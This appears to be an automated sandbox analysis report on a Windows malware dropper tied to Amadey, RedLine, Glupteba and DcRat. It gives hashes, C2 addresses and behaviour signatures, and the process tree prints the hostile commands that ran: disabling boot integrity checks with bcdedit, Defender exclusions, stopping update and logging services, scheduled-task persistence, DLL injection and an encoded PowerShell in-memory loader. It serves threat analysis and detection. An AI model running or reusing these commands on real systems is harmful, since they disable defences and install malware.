Analysis

  • max time kernel
    106s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    15-05-2024 10:32

General

  • Target

    c751a92f994f48bd649ba49dd93d5930_NeikiAnalytics.exe

  • Size

    1.8MB

  • MD5

    c751a92f994f48bd649ba49dd93d5930

  • SHA1

    44b7e2fa7f120f130e57620ae0c44399574d7272

  • SHA256

    e21b8e3512ade3cd3cc8fdd64f0a8c611511b1d1bdde9da2f0bc54f0f1aa338b

  • SHA512

    dba3e7c36d5a29ac4d2cc3401f31e6e0a7787608ce83d3826b0837c99502d7a830bce552bc2936a648983e0e01aa7264afaa4e7aa17cd879cc574787880b5243

  • SSDEEP

    49152:c4AVlITwNJekqw0YqJ5tdrhEpFDZkJP19lH40+MO:9AlgNkqw0YqJ5vGvNiPFHr8

Malware Config

Extracted

Family

amadey

Version

4.20

C2

http://5.42.96.141

http://5.42.96.7

Attributes
  • install_dir

    908f070dff

  • install_file

    explorku.exe

  • strings_key

    b25a9385246248a95c600f9a061438e1

  • url_paths

    /go34ko8/index.php

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:26260

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • DcRat 7 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 2 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

  • Windows security bypass 2 TTPs 7 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Creates new service(s) 2 TTPs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Stops running service(s) 4 TTPs
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 41 IoCs
  • Identifies Wine through registry keys 2 TTPs 5 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 61 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 11 IoCs

    Detects Themida, an advanced Windows software protection system.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Windows security modification 2 TTPs 7 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 7 IoCs
  • Launches sc.exe 20 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 15 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\c751a92f994f48bd649ba49dd93d5930_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\c751a92f994f48bd649ba49dd93d5930_NeikiAnalytics.exe"
    1⤵
    • DcRat
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
      "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2592
      • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
        "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        PID:2924
      • C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe
        "C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
          "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1300
          • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
            "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2288
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 116
              6⤵
              • Loads dropped DLL
              • Program crash
              PID:332
          • C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
            "C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1620
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1620 -s 52
              6⤵
              • Loads dropped DLL
              • Program crash
              PID:2632
          • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
            "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
            5⤵
            • Executes dropped EXE
            • Modifies system certificate store
            • Suspicious use of AdjustPrivilegeToken
            PID:2940
          • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
            "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
            5⤵
            • DcRat
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2752
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1452
              • C:\Windows\SysWOW64\sc.exe
                Sc stop GameServerClient
                7⤵
                • Launches sc.exe
                PID:1500
              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                GameService remove GameServerClient confirm
                7⤵
                • Executes dropped EXE
                PID:684
              • C:\Windows\SysWOW64\sc.exe
                Sc delete GameSyncLink
                7⤵
                • Launches sc.exe
                PID:2692
              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                GameService remove GameSyncLink confirm
                7⤵
                • Executes dropped EXE
                PID:1912
              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                7⤵
                • Executes dropped EXE
                PID:1780
              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                GameService start GameSyncLink
                7⤵
                • Executes dropped EXE
                PID:2860
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
              6⤵
                PID:1868
                • C:\Windows\SysWOW64\sc.exe
                  Sc stop GameServerClientC
                  7⤵
                  • Launches sc.exe
                  PID:2044
                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                  GameService remove GameServerClientC confirm
                  7⤵
                  • Executes dropped EXE
                  PID:2004
                • C:\Windows\SysWOW64\sc.exe
                  Sc delete PiercingNetLink
                  7⤵
                  • Launches sc.exe
                  PID:2324
                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                  GameService remove PiercingNetLink confirm
                  7⤵
                  • Executes dropped EXE
                  PID:1748
                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                  GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                  7⤵
                  • Executes dropped EXE
                  PID:2076
                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                  GameService start PiercingNetLink
                  7⤵
                  • Executes dropped EXE
                  PID:2648
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
                6⤵
                  PID:2556
                  • C:\Windows\SysWOW64\sc.exe
                    Sc delete GameSyncLinks
                    7⤵
                    • Launches sc.exe
                    PID:2840
                  • C:\Program Files (x86)\GameSyncLink\GameService.exe
                    GameService remove GameSyncLinks confirm
                    7⤵
                    • Executes dropped EXE
                    PID:2932
                  • C:\Program Files (x86)\GameSyncLink\GameService.exe
                    GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                    7⤵
                    • Executes dropped EXE
                    PID:2628
                  • C:\Program Files (x86)\GameSyncLink\GameService.exe
                    GameService start GameSyncLinks
                    7⤵
                    • Executes dropped EXE
                    PID:2836
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                  6⤵
                    PID:1468
                • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"
                  5⤵
                  • Executes dropped EXE
                  PID:1980
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1980 -s 52
                    6⤵
                    • Loads dropped DLL
                    • Program crash
                    PID:272
                • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
                  5⤵
                  • Executes dropped EXE
                  PID:2332
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 52
                    6⤵
                    • Loads dropped DLL
                    • Program crash
                    PID:556
                • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Modifies system certificate store
                  PID:1040
                  • C:\Windows\SysWOW64\schtasks.exe
                    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
                    6⤵
                    • DcRat
                    • Creates scheduled task(s)
                    PID:2532
                  • C:\Users\Admin\AppData\Local\Temp\1000259001\toolspub1.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000259001\toolspub1.exe"
                    6⤵
                    • Executes dropped EXE
                    • Checks SCSI registry key(s)
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: MapViewOfSection
                    PID:2152
                  • C:\Users\Admin\AppData\Local\Temp\1000260001\4767d2e713f2021e8fe856e3ea638b58.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000260001\4767d2e713f2021e8fe856e3ea638b58.exe"
                    6⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2116
                    • C:\Users\Admin\AppData\Local\Temp\1000260001\4767d2e713f2021e8fe856e3ea638b58.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000260001\4767d2e713f2021e8fe856e3ea638b58.exe"
                      7⤵
                      • Windows security bypass
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Windows security modification
                      • Adds Run key to start application
                      • Checks for VirtualBox DLLs, possible anti-VM trick
                      • Drops file in Windows directory
                      • Modifies data under HKEY_USERS
                      PID:1356
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                        8⤵
                          PID:2752
                          • C:\Windows\system32\netsh.exe
                            netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                            9⤵
                            • Modifies Windows Firewall
                            • Modifies data under HKEY_USERS
                            PID:2720
                        • C:\Windows\rss\csrss.exe
                          C:\Windows\rss\csrss.exe
                          8⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Modifies data under HKEY_USERS
                          • Modifies system certificate store
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2532
                          • C:\Windows\system32\schtasks.exe
                            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                            9⤵
                            • DcRat
                            • Creates scheduled task(s)
                            PID:1812
                          • C:\Windows\system32\schtasks.exe
                            schtasks /delete /tn ScheduledUpdate /f
                            9⤵
                              PID:2328
                            • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                              "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                              9⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Modifies system certificate store
                              PID:2752
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:2396
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:2500
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:1668
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:2148
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:2136
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:2744
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:2628
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:2072
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:2904
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:1964
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:3040
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -timeout 0
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:1860
                              • C:\Windows\system32\bcdedit.exe
                                C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                                10⤵
                                • Modifies boot configuration data using bcdedit
                                PID:604
                            • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                              C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                              9⤵
                              • Executes dropped EXE
                              PID:2860
                            • C:\Windows\system32\bcdedit.exe
                              C:\Windows\Sysnative\bcdedit.exe /v
                              9⤵
                              • Modifies boot configuration data using bcdedit
                              PID:2444
                            • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                              C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                              9⤵
                                PID:2856
                              • C:\Windows\system32\schtasks.exe
                                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                9⤵
                                • DcRat
                                • Creates scheduled task(s)
                                PID:1456
                              • C:\Windows\windefender.exe
                                "C:\Windows\windefender.exe"
                                9⤵
                                  PID:2352
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                    10⤵
                                      PID:2384
                                      • C:\Windows\SysWOW64\sc.exe
                                        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                        11⤵
                                        • Launches sc.exe
                                        PID:2348
                            • C:\Users\Admin\AppData\Local\Temp\1000261001\FirstZ.exe
                              "C:\Users\Admin\AppData\Local\Temp\1000261001\FirstZ.exe"
                              6⤵
                              • Executes dropped EXE
                              • Drops file in System32 directory
                              PID:3020
                              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                7⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Drops file in System32 directory
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2856
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                7⤵
                                  PID:2788
                                  • C:\Windows\system32\wusa.exe
                                    wusa /uninstall /kb:890830 /quiet /norestart
                                    8⤵
                                    • Drops file in Windows directory
                                    PID:1456
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe stop UsoSvc
                                  7⤵
                                  • Launches sc.exe
                                  PID:2932
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                  7⤵
                                  • Launches sc.exe
                                  PID:2408
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe stop wuauserv
                                  7⤵
                                  • Launches sc.exe
                                  PID:968
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe stop bits
                                  7⤵
                                  • Launches sc.exe
                                  PID:2080
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe stop dosvc
                                  7⤵
                                  • Launches sc.exe
                                  PID:1780
                                • C:\Windows\system32\powercfg.exe
                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                  7⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:628
                                • C:\Windows\system32\powercfg.exe
                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                  7⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1284
                                • C:\Windows\system32\powercfg.exe
                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                  7⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1660
                                • C:\Windows\system32\powercfg.exe
                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                  7⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2348
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe delete "WSNKISKT"
                                  7⤵
                                  • Launches sc.exe
                                  PID:1056
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
                                  7⤵
                                  • Launches sc.exe
                                  PID:800
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe stop eventlog
                                  7⤵
                                  • Launches sc.exe
                                  PID:1268
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe start "WSNKISKT"
                                  7⤵
                                  • Launches sc.exe
                                  PID:2880
                            • C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
                              "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"
                              5⤵
                              • Executes dropped EXE
                              PID:2220
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkAFQAZQBtAHAARABpAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAKACQAUABhAHQAdABlAHIAbgAgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAEwAYQB0AGUAcwB0AEYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAVABlAG0AcABEAGkAcgAgAC0ARgBpAGwAdABlAHIAIAAkAFAAYQB0AHQAZQByAG4AIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIADjicZbIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAKWUGVMsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABFUz5EsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAHBlbmMKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAKBSxltoViAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJACgUsZbaFYuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJACgUsZbaFYuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkAOOJxltoViAAPQAgACQAoFLGW2hWLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQApZQZUywAIAAkABFUz5EpAAoAIAAgACAAIAAkAOOJxltwZW5jIAA9ACAAJADjicZbaFYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAHBlbmMsACAAMAAsACAAJABwZW5jLgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAOOJxltwZW5jCgB9AAoACgAkAKWUGVMgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA2AEMALAAgADAAeAAwADIALAAgADAAeABFADcALAAgADAAeAAxADAALAAgADAAeABDADcALAAgADAAeAA4ADgALAAgADAAeABEADEALAAgADAAeAAwAEUALAAgADAAeAA0AEIALAAgADAAeAA3ADkALAAgADAAeAA0ADQALAAgADAAeABGAEQALAAgADAAeABBADQALAAgADAAeABFADgALAAgADAAeAA2ADAALAAgADAAeABCADAALAAgADAAeAAwAEMALAAgADAAeAAzAEMALAAgADAAeABGADAALAAgADAAeAA3ADgALAAgADAAeAA2AEYALAAgADAAeAA2ADYALAAgADAAeAAzADIALAAgADAAeAAyADIALAAgADAAeABEADgALAAgADAAeABFADAALAAgADAAeABFAEEALAAgADAAeAAwADQALAAgADAAeAA2ADYALAAgADAAeAA0ADIALAAgADAAeABCAEMALAAgADAAeAA2ADgAKQAKACQAEVTPkSAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADkANAAsACAAMAB4ADkARAAsACAAMAB4ADgAMQAsACAAMAB4AEQARAAsACAAMAB4ADAAMgAsACAAMAB4ADkAMgAsACAAMAB4ADMAMQAsACAAMAB4ADgAQwAsACAAMAB4ADkANQAsACAAMAB4ADkARAAsACAAMAB4ADUANgAsACAAMAB4AEIAOAAsACAAMAB4AEUAMAAsACAAMAB4AEEAOAAsACAAMAB4ADkAMwAsACAAMAB4ADEANwApAAoACgBpAGYAIAAoACQATABhAHQAZQBzAHQARgBpAGwAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAIdl9k7vjYRfIAA9ACAAJABMAGEAdABlAHMAdABGAGkAbABlAC4ARgB1AGwAbABOAGEAbQBlAAoAIAAgACAAIAAkAKBSxltXW4KCIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAIdl9k7vjYRfKQA7AAoAIAAgACAAIAAkAOOJxluFUblbIAA9ACAA44nGWyAALQCllBlTIAAkAKWUGVMgAC0AEVTPkSAAJAARVM+RIAAtAHBlbmMgACQAoFLGW1dbgoIKAAoAIAAgACAAIAAkAAt6j17GliAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQA44nGW4VRuVspACkAOwAKACAAIAAgACAAJABlUeNTuXAgAD0AIAAkAAt6j17Gli4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7AAoAIAAgACAAIAAkAGVR41O5cC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
                                6⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1752
                        • C:\Users\Admin\1000006002\f2300d6796.exe
